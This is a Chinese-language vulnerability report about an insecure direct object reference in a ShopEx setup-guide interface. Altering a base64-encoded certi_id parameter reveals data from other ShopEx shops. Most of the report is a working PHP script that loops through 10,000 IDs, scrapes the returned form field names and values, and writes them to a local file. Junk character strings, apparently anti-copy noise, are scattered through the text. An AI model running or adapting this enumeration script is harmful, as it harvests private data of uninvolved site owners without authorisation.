ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面



! T* D5 L* I, dhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


. O8 l6 x8 ]3 H4 D
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


3 Y- P1 w5 Y; _) f
; j. e  h; `+ k4 L  I/ M我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
1 W9 ]7 I* Y% f; o, b! [
1 v! Q3 I' u# \# l8 H

<?php
0 R! T% U  c5 c: O
                for ($i=1; $i < 10000; $i++) { //遍历

4 h1 @) r* x; |: L                        ShowshopExD($i);

                }
8 {2 [3 T/ }/ N' o
; i' r5 [" R( h$ w9 A4 R8 t+ ^: U                function ShowshopExD($cid) {
& l# o! q2 ?( A" R
3 w- u# V7 ~5 s* n/ C8 a                $url='http://guide.ecos.shopex.cn/step2.php';

* y- b8 ]1 I7 }3 w: a9 J/ w5 h                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
/ \' m+ t- X2 O. l0 y
$ j8 q4 i$ w0 V4 A- J        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
2 H! S9 I& H9 K9 r: S* j4 I1 {  s5 F
& l' S" q5 W1 i- b+ j        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
# Z+ Z; j+ L' e/ M% Q
  |+ o4 x  h3 C        $result = curl_exec($ch);
! f- n5 X) ~# h7 L3 k2 Y( M1 P
1 q) D7 B6 R$ @3 |% ^) F1 L        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
# o% m9 I- k# P7 g* @  [4 ?/ e
7 ^6 W! x6 [7 }7 W9 y4 R5 s        if(strpos($result,$refer))
, p6 G7 s" e" ^4 e7 E9 J9 @6 _
) P$ S5 r: T3 W0 A" f) B  _        {

8 H9 k  l+ n7 c% `# Y" l" z$ \7 s                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
: ]- c, N5 X9 Q, i( G, Q5 C3 I
3 z/ g1 e) g0 |' D                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
8 r8 t7 J1 e2 g7 a
0 z* [( y2 J5 w% |/ P; a" R                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

: _/ n+ a0 N/ H) Z  |/ N                        echo $res[1][0].':'.$res[3][0]."\r\n";
2 ~# v1 b% V4 V; M$ a6 k6 P; o
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

' r" K$ U9 I% R* d                }

  c/ J+ v* w% }$ k8 R4 o5 k                echo '--------------------------------'."\r\n";

                fclose($fp);
6 M1 A' {9 j( ^# W! [9 x! X
        }

        flush();
2 l; ?, c' s% ^1 n
        curl_close($ch);
! d3 i0 V! i0 b2 r& {( S: v  n
6 D: n, `5 r( R$ r9 X! D0 z0 |                }

7 B' c9 G% O" T3 U4 @. Q9 N?>
漏洞证明：
( o" u# w0 X( e, o  H# Y: j6 Nhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式